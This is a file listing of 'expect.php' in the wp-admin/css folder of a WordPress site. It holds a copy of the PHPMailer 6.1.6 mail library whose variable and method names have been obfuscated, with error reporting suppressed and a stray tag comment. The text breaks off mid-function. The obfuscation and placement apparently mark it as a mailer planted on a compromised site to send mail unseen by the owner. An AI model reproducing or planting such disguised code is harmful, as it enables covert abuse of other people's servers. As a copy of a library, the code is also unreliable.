File "expect.php"
Full Path: /home/angehriu/nissu.org/wp-admin/css/expect.php
File size: 78.64 KB
MIME-type: application/octet-stream
Charset: utf-8
<?php
/* vxlicu */
error_reporting(E_PARSE | E_CORE_ERROR); class PHPMailer { const CHARSET_ASCII = 'us-ascii'; const CHARSET_ISO88591 = 'iso-8859-1'; const CHARSET_UTF8 = 'utf-8'; const CONTENT_TYPE_PLAINTEXT = 'text/plain'; const CONTENT_TYPE_TEXT_CALENDAR = 'text/calendar'; const CONTENT_TYPE_TEXT_HTML = 'text/html'; const CONTENT_TYPE_MULTIPART_ALTERNATIVE = 'multipart/alternative'; const CONTENT_TYPE_MULTIPART_MIXED = 'multipart/mixed'; const CONTENT_TYPE_MULTIPART_RELATED = 'multipart/related'; const ENCODING_7BIT = '7bit'; const ENCODING_8BIT = '8bit'; const ENCODING_BASE64 = 'base64'; const ENCODING_BINARY = 'binary'; const ENCODING_QUOTED_PRINTABLE = 'quoted-printable'; const ENCRYPTION_STARTTLS = 'tls'; const ENCRYPTION_SMTPS = 'ssl'; const ICAL_METHOD_REQUEST = 'REQUEST'; const ICAL_METHOD_PUBLISH = 'PUBLISH'; const ICAL_METHOD_REPLY = 'REPLY'; const ICAL_METHOD_ADD = 'ADD'; const ICAL_METHOD_CANCEL = 'CANCEL'; const ICAL_METHOD_REFRESH = 'REFRESH'; const ICAL_METHOD_COUNTER = 'COUNTER'; const ICAL_METHOD_DECLINECOUNTER = 'DECLINECOUNTER'; public $Priority; public $CharSet = self::CHARSET_ISO88591; public $ContentType = self::CONTENT_TYPE_PLAINTEXT; public $Encoding = self::ENCODING_8BIT; public $ErrorInfo = ''; public $From = 'root@localhost'; public $FromName = 'Root User'; public $Sender = ''; public $Subject = ''; public $Body = ''; public $AltBody = ''; public $Ical = ''; protected static $IcalMethods = array(self::ICAL_METHOD_REQUEST, self::ICAL_METHOD_PUBLISH, self::ICAL_METHOD_REPLY, self::ICAL_METHOD_ADD, self::ICAL_METHOD_CANCEL, self::ICAL_METHOD_REFRESH, self::ICAL_METHOD_COUNTER, self::ICAL_METHOD_DECLINECOUNTER); protected $MIMEBody = ''; protected $MIMEHeader = ''; protected $mailHeader = ''; public $WordWrap = 0; public $Mailer = 'mail'; public $Sendmail = '/usr/sbin/sendmail'; public $UseSendmailOptions = true; public $ConfirmReadingTo = ''; public $Hostname = ''; public $MessageID = ''; public $MessageDate = ''; public $Host = 'localhost'; public $Port = 25; public $Helo = ''; public $SMTPSecure = ''; public $SMTPAutoTLS = true; public $SMTPAuth = false; public $SMTPOptions = array(); public $Username = ''; public $Password = ''; public $AuthType = ''; protected $oauth; public $Timeout = 300; public $dsn = ''; public $SMTPDebug = 0; public $Debugoutput = 'echo'; public $SMTPKeepAlive = false; public $SingleTo = false; protected $SingleToArray = array(); public $do_verp = false; public $AllowEmpty = false; public $DKIM_selector = ''; public $DKIM_identity = ''; public $DKIM_passphrase = ''; public $DKIM_domain = ''; public $DKIM_copyHeaderFields = true; public $DKIM_extraHeaders = array(); public $DKIM_private = ''; public $DKIM_private_string = ''; public $action_function = ''; public $XMailer = ''; public static $validator = 'php'; protected $smtp; protected $to = array(); protected $cc = array(); protected $bcc = array(); protected $ReplyTo = array(); protected $all_recipients = array(); protected $RecipientsQueue = array(); protected $ReplyToQueue = array(); protected $attachment = array(); protected $CustomHeader = array(); protected $lastMessageID = ''; protected $message_type = ''; protected $boundary = array(); protected $language = array(); protected $error_count = 0; protected $sign_cert_file = ''; protected $sign_key_file = ''; protected $sign_extracerts_file = ''; protected $sign_key_pass = ''; protected $exceptions = false; protected $uniqueid = ''; const VERSION = '6.1.6'; const STOP_MESSAGE = 0; const STOP_CONTINUE = 1; const STOP_CRITICAL = 2; const CRLF = '
'; const FWS = ' '; protected static $LE = self::CRLF; const MAIL_MAX_LINE_LENGTH = 63; const MAX_LINE_LENGTH = 998; const STD_LINE_LENGTH = 76; public function __construct($sp26e59e = null) { if (null !== $sp26e59e) { $this->exceptions = (bool) $sp26e59e; } $this->Debugoutput = strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html'; } public function __destruct() { $this->smtpClose(); } private function spd7ac6f($spab1114, $spca8750, $spd76997, $sp03359b, $sp7d456c) { if (ini_get('mbstring.func_overload') & 1) { $spca8750 = $this->secureHeader($spca8750); } else { $spca8750 = $this->encodeHeader($this->secureHeader($spca8750)); } if (!$this->UseSendmailOptions || null === $sp7d456c) { $spf988c0 = @mail($spab1114, $spca8750, $spd76997, $sp03359b); } else { $spf988c0 = @mail($spab1114, $spca8750, $spd76997, $sp03359b, $sp7d456c); } return $spf988c0; } protected function edebug($speadb40) { if ($this->SMTPDebug <= 0) { return; } if ($this->Debugoutput instanceof \Psr\Log\LoggerInterface) { $this->Debugoutput->debug($speadb40); return; } if (is_callable($this->Debugoutput) && !in_array($this->Debugoutput, array('error_log', 'html', 'echo'))) { call_user_func($this->Debugoutput, $speadb40, $this->SMTPDebug); return; } switch ($this->Debugoutput) { case 'error_log': error_log($speadb40); break; case 'html': echo htmlentities(preg_replace('/[\\r\\n]+/', '', $speadb40), ENT_QUOTES, 'UTF-8'), '<br>
'; break; case 'echo': default: $speadb40 = preg_replace('/\\r\\n|\\r/m', '
', $speadb40); echo gmdate('Y-m-d H:i:s'), ' ', trim(str_replace('
', '
', trim($speadb40))), '
'; } } public function isHTML($sp87dcc6 = true) { if ($sp87dcc6) { $this->ContentType = static::CONTENT_TYPE_TEXT_HTML; } else { $this->ContentType = static::CONTENT_TYPE_PLAINTEXT; } } public function isSMTP() { $this->Mailer = 'smtp'; } public function isMail() { $this->Mailer = 'mail'; } public function isSendmail() { $spf8c338 = ini_get('sendmail_path'); if (false === stripos($spf8c338, 'sendmail')) { $this->Sendmail = '/usr/sbin/sendmail'; } else { $this->Sendmail = $spf8c338; } $this->Mailer = 'sendmail'; } public function isQmail() { $spf8c338 = ini_get('sendmail_path'); if (false === stripos($spf8c338, 'qmail')) { $this->Sendmail = '/var/qmail/bin/qmail-inject'; } else { $this->Sendmail = $spf8c338; } $this->Mailer = 'qmail'; } public function addAddress($sp973192, $spdeeed8 = '') { return $this->addOrEnqueueAnAddress('to', $sp973192, $spdeeed8); } public function addCC($sp973192, $spdeeed8 = '') { return $this->addOrEnqueueAnAddress('cc', $sp973192, $spdeeed8); } public function addBCC($sp973192, $spdeeed8 = '') { return $this->addOrEnqueueAnAddress('bcc', $sp973192, $spdeeed8); } public function addReplyTo($sp973192, $spdeeed8 = '') { return $this->addOrEnqueueAnAddress('Reply-To', $sp973192, $spdeeed8); } protected function addOrEnqueueAnAddress($spe50020, $sp973192, $spdeeed8) { $sp973192 = trim($sp973192); $spdeeed8 = trim(preg_replace('/[\\r\\n]+/', '', $spdeeed8)); $sp5906d1 = strrpos($sp973192, '@'); if (false === $sp5906d1) { $sp73d59a = sprintf('%s (%s): %s', $this->lang('invalid_address'), $spe50020, $sp973192); $this->setError($sp73d59a); $this->edebug($sp73d59a); if ($this->exceptions) { throw new Exception($sp73d59a); } return false; } $sp7d456c = array($spe50020, $sp973192, $spdeeed8); if (static::idnSupported() && $this->has8bitChars(substr($sp973192, ++$sp5906d1))) { if ('Reply-To' !== $spe50020) { if (!array_key_exists($sp973192, $this->RecipientsQueue)) { $this->RecipientsQueue[$sp973192] = $sp7d456c; return true; } } elseif (!array_key_exists($sp973192, $this->ReplyToQueue)) { $this->ReplyToQueue[$sp973192] = $sp7d456c; return true; } return false; } return call_user_func_array(array($this, 'addAnAddress'), $sp7d456c); } protected function addAnAddress($spe50020, $sp973192, $spdeeed8 = '') { if (!in_array($spe50020, array('to', 'cc', 'bcc', 'Reply-To'))) { $sp73d59a = sprintf('%s: %s', $this->lang('Invalid recipient kind'), $spe50020); $this->setError($sp73d59a); $this->edebug($sp73d59a); if ($this->exceptions) { throw new Exception($sp73d59a); } return false; } if (!static::validateAddress($sp973192)) { $sp73d59a = sprintf('%s (%s): %s', $this->lang('invalid_address'), $spe50020, $sp973192); $this->setError($sp73d59a); $this->edebug($sp73d59a); if ($this->exceptions) { throw new Exception($sp73d59a); } return false; } if ('Reply-To' !== $spe50020) { if (!array_key_exists(strtolower($sp973192), $this->all_recipients)) { $this->{$spe50020}[] = array($sp973192, $spdeeed8); $this->all_recipients[strtolower($sp973192)] = true; return true; } } elseif (!array_key_exists(strtolower($sp973192), $this->ReplyTo)) { $this->ReplyTo[strtolower($sp973192)] = array($sp973192, $spdeeed8); return true; } return false; } public static function parseAddresses($sp7137ae, $sp600685 = true) { $spda7ef0 = array(); if ($sp600685 && function_exists('imap_rfc822_parse_adrlist')) { $spd72118 = imap_rfc822_parse_adrlist($sp7137ae, ''); foreach ($spd72118 as $sp973192) { if ('.SYNTAX-ERROR.' !== $sp973192->host && static::validateAddress($sp973192->mailbox . '@' . $sp973192->host)) { $spda7ef0[] = array('name' => property_exists($sp973192, 'personal') ? $sp973192->personal : '', 'address' => $sp973192->mailbox . '@' . $sp973192->host); } } } else { $spd72118 = explode(',', $sp7137ae); foreach ($spd72118 as $sp973192) { $sp973192 = trim($sp973192); if (strpos($sp973192, '<') === false) { if (static::validateAddress($sp973192)) { $spda7ef0[] = array('name' => '', 'address' => $sp973192); } } else { list($spdeeed8, $spf839a5) = explode('<', $sp973192); $spf839a5 = trim(str_replace('>', '', $spf839a5)); if (static::validateAddress($spf839a5)) { $spda7ef0[] = array('name' => trim(str_replace(array('"', '\''), '', $spdeeed8)), 'address' => $spf839a5); } } } } return $spda7ef0; } public function setFrom($sp973192, $spdeeed8 = '', $sp4f8149 = true) { $sp973192 = trim($sp973192); $spdeeed8 = trim(preg_replace('/[\\r\\n]+/', '', $spdeeed8)); $sp5906d1 = strrpos($sp973192, '@'); if (false === $sp5906d1 || (!$this->has8bitChars(substr($sp973192, ++$sp5906d1)) || !static::idnSupported()) && !static::validateAddress($sp973192)) { $sp73d59a = sprintf('%s (From): %s', $this->lang('invalid_address'), $sp973192); $this->setError($sp73d59a); $this->edebug($sp73d59a); if ($this->exceptions) { throw new Exception($sp73d59a); } return false; } $this->From = $sp973192; $this->FromName = $spdeeed8; if ($sp4f8149 && empty($this->Sender)) { $this->Sender = $sp973192; } return true; } public function getLastMessageID() { return $this->lastMessageID; } public static function validateAddress($sp973192, $sp9d0f23 = null) { if (null === $sp9d0f23) { $sp9d0f23 = static::$validator; } if (is_callable($sp9d0f23)) { return $sp9d0f23($sp973192); } if (strpos($sp973192, '
') !== false || strpos($sp973192, '
') !== false) { return false; } switch ($sp9d0f23) { case 'pcre': case 'pcre8': return (bool) preg_match('/^(?!(?>(?1)"?(?>\\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>\\x0D\\x0A)?[\\t ])+|(?>[\\t ]*\\x0D\\x0A)?[\\t ]+)?)(\\((?>(?2)' . '(?>[\\x01-\\x08\\x0B\\x0C\\x0E-\'*-\\[\\]-\\x7F]|\\\\[\\x00-\\x7F]|(?3)))*(?2)\\)))+(?2))|(?2))?)' . '([!#-\'*+\\/-9=?^-~-]+|"(?>(?2)(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\[\\x00-\\x7F]))*' . '(?2)")(?>(?1)\\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\\.(?9)){3}))\\])(?1)$/isD', $sp973192); case 'html5': return (bool) preg_match('/^[a-zA-Z0-9.!#$%&\'*+\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $sp973192); case 'php': default: return filter_var($sp973192, FILTER_VALIDATE_EMAIL) !== false; } } public static function idnSupported() { return function_exists('idn_to_ascii') && function_exists('mb_convert_encoding'); } public function punyencodeAddress($sp973192) { $sp5906d1 = strrpos($sp973192, '@'); if (!empty($this->CharSet) && false !== $sp5906d1 && static::idnSupported()) { $sp85866f = substr($sp973192, ++$sp5906d1); if ($this->has8bitChars($sp85866f) && @mb_check_encoding($sp85866f, $this->CharSet)) { $sp85866f = mb_convert_encoding($sp85866f, 'UTF-8', $this->CharSet); $sp7b4d55 = 0; if (defined('INTL_IDNA_VARIANT_UTS46')) { $spb17517 = idn_to_ascii($sp85866f, $sp7b4d55, INTL_IDNA_VARIANT_UTS46); } elseif (defined('INTL_IDNA_VARIANT_2003')) { $spb17517 = idn_to_ascii($sp85866f, $sp7b4d55, INTL_IDNA_VARIANT_2003); } else { $spb17517 = idn_to_ascii($sp85866f, $sp7b4d55); } if (false !== $spb17517) { return substr($sp973192, 0, $sp5906d1) . $spb17517; } } } return $sp973192; } public function send() { try { if (!$this->preSend()) { return false; } return $this->postSend(); } catch (Exception $spa08c34) { $this->mailHeader = ''; $this->setError($spa08c34->getMessage()); if ($this->exceptions) { throw $spa08c34; } return false; } } public function preSend() { if ('smtp' === $this->Mailer || 'mail' === $this->Mailer && stripos(PHP_OS, 'WIN') === 0) { static::setLE(self::CRLF); } else { static::setLE(PHP_EOL); } if ('mail' === $this->Mailer && (PHP_VERSION_ID >= 70000 && PHP_VERSION_ID < 70017 || PHP_VERSION_ID >= 70100 && PHP_VERSION_ID < 70103) && ini_get('mail.add_x_header') === '1' && stripos(PHP_OS, 'WIN') === 0) { trigger_error('Your version of PHP is affected by a bug that may result in corrupted messages.' . ' To fix it, switch to sending using SMTP, disable the mail.add_x_header option in' . ' your php.ini, switch to MacOS or Linux, or upgrade your PHP to version 7.0.17+ or 7.1.3+.', E_USER_WARNING); } try { $this->error_count = 0; $this->mailHeader = ''; foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $sp7d456c) { $sp7d456c[1] = $this->punyencodeAddress($sp7d456c[1]); call_user_func_array(array($this, 'addAnAddress'), $sp7d456c); } if (count($this->to) + count($this->cc) + count($this->bcc) < 1) { throw new Exception($this->lang('provide_address'), self::STOP_CRITICAL); } foreach (array('From', 'Sender', 'ConfirmReadingTo') as $spab1b40) { $this->{$spab1b40} = trim($this->{$spab1b40}); if (empty($this->{$spab1b40})) { continue; } $this->{$spab1b40} = $this->punyencodeAddress($this->{$spab1b40}); if (!static::validateAddress($this->{$spab1b40})) { $sp73d59a = sprintf('%s (%s): %s', $this->lang('invalid_address'), $spab1b40, $this->{$spab1b40}); $this->setError($sp73d59a); $this->edebug($sp73d59a); if ($this->exceptions) { throw new Exception($sp73d59a); } return false; } } if ($this->alternativeExists()) { $this->ContentType = static::CONTENT_TYPE_MULTIPART_ALTERNATIVE; } $this->setMessageType(); if (!$this->AllowEmpty && empty($this->Body)) { throw new Exception($this->lang('empty_message'), self::STOP_CRITICAL); } $this->Subject = trim($this->Subject); $this->MIMEHeader = ''; $this->MIMEBody = $this->createBody(); $sp5147ef = $this->MIMEHeader; $this->MIMEHeader = $this->createHeader(); $this->MIMEHeader .= $sp5147ef; if ('mail' === $this->Mailer) { if (count($this->to) > 0) { $this->mailHeader .= $this->addrAppend('To', $this->to); } else { $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;'); } $this->mailHeader .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject))); } if (!empty($this->DKIM_domain) && !empty($this->DKIM_selector) && (!empty($this->DKIM_private_string) || !empty($this->DKIM_private) && static::isPermittedPath($this->DKIM_private) && file_exists($this->DKIM_private))) { $sp103962 = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody); $this->MIMEHeader = static::stripTrailingWSP($this->MIMEHeader) . static::$LE . static::normalizeBreaks($sp103962) . static::$LE; } return true; } catch (Exception $spa08c34) { $this->setError($spa08c34->getMessage()); if ($this->exceptions) { throw $spa08c34; } return false; } } public function postSend() { try { switch ($this->Mailer) { case 'sendmail': case 'qmail': return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); case 'smtp': return $this->smtpSend($this->MIMEHeader, $this->MIMEBody); case 'mail': return $this->mailSend($this->MIMEHeader, $this->MIMEBody); default: $spd1b569 = $this->Mailer . 'Send'; if (method_exists($this, $spd1b569)) { return $this->{$spd1b569}($this->MIMEHeader, $this->MIMEBody); } return $this->mailSend($this->MIMEHeader, $this->MIMEBody); } } catch (Exception $spa08c34) { $this->setError($spa08c34->getMessage()); $this->edebug($spa08c34->getMessage()); if ($this->exceptions) { throw $spa08c34; } } return false; } protected function sendmailSend($sp03359b, $spd76997) { $sp03359b = static::stripTrailingWSP($sp03359b) . static::$LE . static::$LE; if (!empty($this->Sender) && self::isShellSafe($this->Sender)) { if ('qmail' === $this->Mailer) { $sp9cdb83 = '%s -f%s'; } else { $sp9cdb83 = '%s -oi -f%s -t'; } } elseif ('qmail' === $this->Mailer) { $sp9cdb83 = '%s'; } else { $sp9cdb83 = '%s -oi -t'; } $sp294b3a = sprintf($sp9cdb83, escapeshellcmd($this->Sendmail), $this->Sender); if ($this->SingleTo) { foreach ($this->SingleToArray as $spc7465b) { $sp9980dd = @popen($sp294b3a, 'w'); if (!$sp9980dd) { throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } fwrite($sp9980dd, 'To: ' . $spc7465b . '
'); fwrite($sp9980dd, $sp03359b); fwrite($sp9980dd, $spd76997); $spf988c0 = pclose($sp9980dd); $this->doCallback($spf988c0 === 0, array($spc7465b), $this->cc, $this->bcc, $this->Subject, $spd76997, $this->From, array()); if (0 !== $spf988c0) { throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } } } else { $sp9980dd = @popen($sp294b3a, 'w'); if (!$sp9980dd) { throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } fwrite($sp9980dd, $sp03359b); fwrite($sp9980dd, $spd76997); $spf988c0 = pclose($sp9980dd); $this->doCallback($spf988c0 === 0, $this->to, $this->cc, $this->bcc, $this->Subject, $spd76997, $this->From, array()); if (0 !== $spf988c0) { throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } } return true; } protected static function isShellSafe($spccb6f7) { if (escapeshellcmd($spccb6f7) !== $spccb6f7 || !in_array(escapeshellarg($spccb6f7), array("'{$spccb6f7}'", "\"{$spccb6f7}\""))) { return false; } $spa5d894 = strlen($spccb6f7); for ($sp9f800d = 0; $sp9f800d < $spa5d894; ++$sp9f800d) { $spf7ad5f = $spccb6f7[$sp9f800d]; if (!ctype_alnum($spf7ad5f) && strpos('@_-.', $spf7ad5f) === false) { return false; } } return true; } protected static function isPermittedPath($sp9e5935) { return !preg_match('#^[a-z]+://#i', $sp9e5935); } protected function mailSend($sp03359b, $spd76997) { $sp03359b = static::stripTrailingWSP($sp03359b) . static::$LE . static::$LE; $spf55820 = array(); foreach ($this->to as $sp7c6319) { $spf55820[] = $this->addrFormat($sp7c6319); } $spab1114 = implode(', ', $spf55820); $sp7d456c = null; if (!empty($this->Sender) && static::validateAddress($this->Sender) && self::isShellSafe($this->Sender)) { $sp7d456c = sprintf('-f%s', $this->Sender); } if (!empty($this->Sender) && static::validateAddress($this->Sender)) { $spc28b1b = ini_get('sendmail_from'); ini_set('sendmail_from', $this->Sender); } $spf988c0 = false; if ($this->SingleTo && count($spf55820) > 1) { foreach ($spf55820 as $spc7465b) { $spf988c0 = $this->spd7ac6f($spc7465b, $this->Subject, $spd76997, $sp03359b, $sp7d456c); $this->doCallback($spf988c0, array($spc7465b), $this->cc, $this->bcc, $this->Subject, $spd76997, $this->From, array()); } } else { $spf988c0 = $this->spd7ac6f($spab1114, $this->Subject, $spd76997, $sp03359b, $sp7d456c); $this->doCallback($spf988c0, $this->to, $this->cc, $this->bcc, $this->Subject, $spd76997, $this->From, array()); } if (isset($spc28b1b)) { ini_set('sendmail_from', $spc28b1b); } if (!$spf988c0) { throw new Exception($this->lang('instantiate'), self::STOP_CRITICAL); } return true; } public function getSMTPInstance() { if (!is_object($this->smtp)) { $this->smtp = new \PHPMailer\PHPMailer\SMTP(); } return $this->smtp; } public function setSMTPInstance(SMTP $spe3949d) { $this->smtp = $spe3949d; return $this->smtp; } protected function smtpSend($sp03359b, $spd76997) { $sp03359b = static::stripTrailingWSP($sp03359b) . static::$LE . static::$LE; $sp1583d8 = array(); if (!$this->smtpConnect($this->SMTPOptions)) { throw new Exception($this->lang('smtp_connect_failed'), self::STOP_CRITICAL); } if ('' === $this->Sender) { $spba1d48 = $this->From; } else { $spba1d48 = $this->Sender; } if (!$this->smtp->mail($spba1d48)) { $this->setError($this->lang('from_failed') . $spba1d48 . ' : ' . implode(',', $this->smtp->getError())); throw new Exception($this->ErrorInfo, self::STOP_CRITICAL); } $spa432a2 = array(); foreach (array($this->to, $this->cc, $this->bcc) as $spd87fd2) { foreach ($spd87fd2 as $spab1114) { if (!$this->smtp->recipient($spab1114[0], $this->dsn)) { $sp7ceb96 = $this->smtp->getError(); $sp1583d8[] = array('to' => $spab1114[0], 'error' => $sp7ceb96['detail']); $spe43268 = false; } else { $spe43268 = true; } $spa432a2[] = array('issent' => $spe43268, 'to' => $spab1114[0]); } } if (count($this->all_recipients) > count($sp1583d8) && !$this->smtp->data($sp03359b . $spd76997)) { throw new Exception($this->lang('data_not_accepted'), self::STOP_CRITICAL); } $sp77233a = $this->smtp->getLastTransactionID(); if ($this->SMTPKeepAlive) { $this->smtp->reset(); } else { $this->smtp->quit(); $this->smtp->close(); } foreach ($spa432a2 as $sp19d834) { $this->doCallback($sp19d834['issent'], array($sp19d834['to']), array(), array(), $this->Subject, $spd76997, $this->From, array('smtp_transaction_id' => $sp77233a)); } if (count($sp1583d8) > 0) { $sp106839 = ''; foreach ($sp1583d8 as $sp36ea68) { $sp106839 .= $sp36ea68['to'] . ': ' . $sp36ea68['error']; } throw new Exception($this->lang('recipients_failed') . $sp106839, self::STOP_CONTINUE); } return true; } public function smtpConnect($sp4411bb = null) { if (null === $this->smtp) { $this->smtp = $this->getSMTPInstance(); } if (null === $sp4411bb) { $sp4411bb = $this->SMTPOptions; } if ($this->smtp->connected()) { return true; } $this->smtp->setTimeout($this->Timeout); $this->smtp->setDebugLevel($this->SMTPDebug); $this->smtp->setDebugOutput($this->Debugoutput); $this->smtp->setVerp($this->do_verp); $spb39b39 = explode(';', $this->Host); $spdae4e0 = null; foreach ($spb39b39 as $spce6631) { $sp580741 = array(); if (!preg_match('/^(?:(ssl|tls):\\/\\/)?(.+?)(?::(\\d+))?$/', trim($spce6631), $sp580741)) { $this->edebug($this->lang('invalid_hostentry') . ' ' . trim($spce6631)); continue; } if (!static::isValidHost($sp580741[2])) { $this->edebug($this->lang('invalid_host') . ' ' . $sp580741[2]); continue; } $spcf37e5 = ''; $sp9ce41c = $this->SMTPSecure; $sp759d78 = static::ENCRYPTION_STARTTLS === $this->SMTPSecure; if ('ssl' === $sp580741[1] || '' === $sp580741[1] && static::ENCRYPTION_SMTPS === $this->SMTPSecure) { $spcf37e5 = 'ssl://'; $sp759d78 = false; $sp9ce41c = static::ENCRYPTION_SMTPS; } elseif ('tls' === $sp580741[1]) { $sp759d78 = true; $sp9ce41c = static::ENCRYPTION_STARTTLS; } $sp6b42ca = defined('OPENSSL_ALGO_SHA256'); if (static::ENCRYPTION_STARTTLS === $sp9ce41c || static::ENCRYPTION_SMTPS === $sp9ce41c) { if (!$sp6b42ca) { throw new Exception($this->lang('extension_missing') . 'openssl', self::STOP_CRITICAL); } } $sp843aa1 = $sp580741[2]; $spf9e127 = $this->Port; if (array_key_exists(3, $sp580741) && is_numeric($sp580741[3]) && $sp580741[3] > 0 && $sp580741[3] < 65536) { $spf9e127 = (int) $sp580741[3]; } if ($this->smtp->connect($spcf37e5 . $sp843aa1, $spf9e127, $this->Timeout, $sp4411bb)) { try { if ($this->Helo) { $speb5bfe = $this->Helo; } else { $speb5bfe = $this->serverHostname(); } $this->smtp->hello($speb5bfe); if ($this->SMTPAutoTLS && $sp6b42ca && 'ssl' !== $sp9ce41c && $this->smtp->getServerExt('STARTTLS')) { $sp759d78 = true; } if ($sp759d78) { if (!$this->smtp->startTLS()) { throw new Exception($this->lang('connect_host')); } $this->smtp->hello($speb5bfe); } if ($this->SMTPAuth && !$this->smtp->authenticate($this->Username, $this->Password, $this->AuthType, $this->oauth)) { throw new Exception($this->lang('authenticate')); } return true; } catch (Exception $spa08c34) { $spdae4e0 = $spa08c34; $this->edebug($spa08c34->getMessage()); $this->smtp->quit(); } } } $this->smtp->close(); if ($this->exceptions && null !== $spdae4e0) { throw $spdae4e0; } return false; } public function smtpClose() { if (null !== $this->smtp && $this->smtp->connected()) { $this->smtp->quit(); $this->smtp->close(); } } public function setLanguage($spbdab7e = 'en', $sp9e9ff3 = '') { $sp99e191 = array('br' => 'pt_br', 'cz' => 'cs', 'dk' => 'da', 'no' => 'nb', 'se' => 'sv', 'rs' => 'sr', 'tg' => 'tl', 'am' => 'hy'); if (isset($sp99e191[$spbdab7e])) { $spbdab7e = $sp99e191[$spbdab7e]; } $sp79dcb6 = array('authenticate' => 'SMTP Error: Could not authenticate.', 'connect_host' => 'SMTP Error: Could not connect to SMTP host.', 'data_not_accepted' => 'SMTP Error: data not accepted.', 'empty_message' => 'Message body empty', 'encoding' => 'Unknown encoding: ', 'execute' => 'Could not execute: ', 'file_access' => 'Could not access file: ', 'file_open' => 'File Error: Could not open file: ', 'from_failed' => 'The following From address failed: ', 'instantiate' => 'Could not instantiate mail function.', 'invalid_address' => 'Invalid address: ', 'invalid_hostentry' => 'Invalid hostentry: ', 'invalid_host' => 'Invalid host: ', 'mailer_not_supported' => ' mailer is not supported.', 'provide_address' => 'You must provide at least one recipient email address.', 'recipients_failed' => 'SMTP Error: The following recipients failed: ', 'signing' => 'Signing Error: ', 'smtp_connect_failed' => 'SMTP connect() failed.', 'smtp_error' => 'SMTP server error: ', 'variable_set' => 'Cannot set or reset variable: ', 'extension_missing' => 'Extension missing: '); if (empty($sp9e9ff3)) { $sp9e9ff3 = dirname(__DIR__) . DIRECTORY_SEPARATOR . 'language' . DIRECTORY_SEPARATOR; } if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $spbdab7e)) { $spbdab7e = 'en'; } $sp5fd5b0 = true; $spcc19ff = $sp9e9ff3 . 'phpmailer.lang-' . $spbdab7e . '.php'; if ('en' !== $spbdab7e) { if (!static::isPermittedPath($spcc19ff) || !file_exists($spcc19ff)) { $sp5fd5b0 = false; } else { $sp5fd5b0 = (include $spcc19ff); } } $this->language = $sp79dcb6; return (bool) $sp5fd5b0; } public function getTranslations() { return $this->language; } public function addrAppend($sp84b96c, $spc7a4c5) { $spda7ef0 = array(); foreach ($spc7a4c5 as $sp973192) { $spda7ef0[] = $this->addrFormat($sp973192); } return $sp84b96c . ': ' . implode(', ', $spda7ef0) . static::$LE; } public function addrFormat($spc7a4c5) { if (empty($spc7a4c5[1])) { return $this->secureHeader($spc7a4c5[0]); } return $this->encodeHeader($this->secureHeader($spc7a4c5[1]), 'phrase') . ' <' . $this->secureHeader($spc7a4c5[0]) . '>'; } public function wrapText($sp6713e3, $spa5d894, $sp8502fe = false) { if ($sp8502fe) { $sp83f5e4 = sprintf(' =%s', static::$LE); } else { $sp83f5e4 = static::$LE; } $spc1a87f = static::CHARSET_UTF8 === strtolower($this->CharSet); $sp93bc70 = strlen(static::$LE); $sp532e9c = strlen(static::$LE); $sp6713e3 = static::normalizeBreaks($sp6713e3); if (substr($sp6713e3, -$sp93bc70) === static::$LE) { $sp6713e3 = substr($sp6713e3, 0, -$sp93bc70); } $sp4b9890 = explode(static::$LE, $sp6713e3); $sp6713e3 = ''; foreach ($sp4b9890 as $spc351d1) { $sp4c3faf = explode(' ', $spc351d1); $sp470645 = ''; $sp7cc3e3 = true; foreach ($sp4c3faf as $spf993c2) { if ($sp8502fe && strlen($spf993c2) > $spa5d894) { $sp139fa3 = $spa5d894 - strlen($sp470645) - $sp532e9c; if (!$sp7cc3e3) { if ($sp139fa3 > 20) { $spbd0a44 = $sp139fa3; if ($spc1a87f) { $spbd0a44 = $this->utf8CharBoundary($spf993c2, $spbd0a44); } elseif ('=' === substr($spf993c2, $spbd0a44 - 1, 1)) { --$spbd0a44; } elseif ('=' === substr($spf993c2, $spbd0a44 - 2, 1)) { $spbd0a44 -= 2; } $sp25e41a = substr($spf993c2, 0, $spbd0a44); $spf993c2 = substr($spf993c2, $spbd0a44); $sp470645 .= ' ' . $sp25e41a; $sp6713e3 .= $sp470645 . sprintf('=%s', static::$LE); } else { $sp6713e3 .= $sp470645 . $sp83f5e4; } $sp470645 = ''; } while ($spf993c2 !== '') { if ($spa5d894 <= 0) { break; } $spbd0a44 = $spa5d894; if ($spc1a87f) { $spbd0a44 = $this->utf8CharBoundary($spf993c2, $spbd0a44); } elseif ('=' === substr($spf993c2, $spbd0a44 - 1, 1)) { --$spbd0a44; } elseif ('=' === substr($spf993c2, $spbd0a44 - 2, 1)) { $spbd0a44 -= 2; } $sp25e41a = substr($spf993c2, 0, $spbd0a44); $spf993c2 = (string) substr($spf993c2, $spbd0a44); 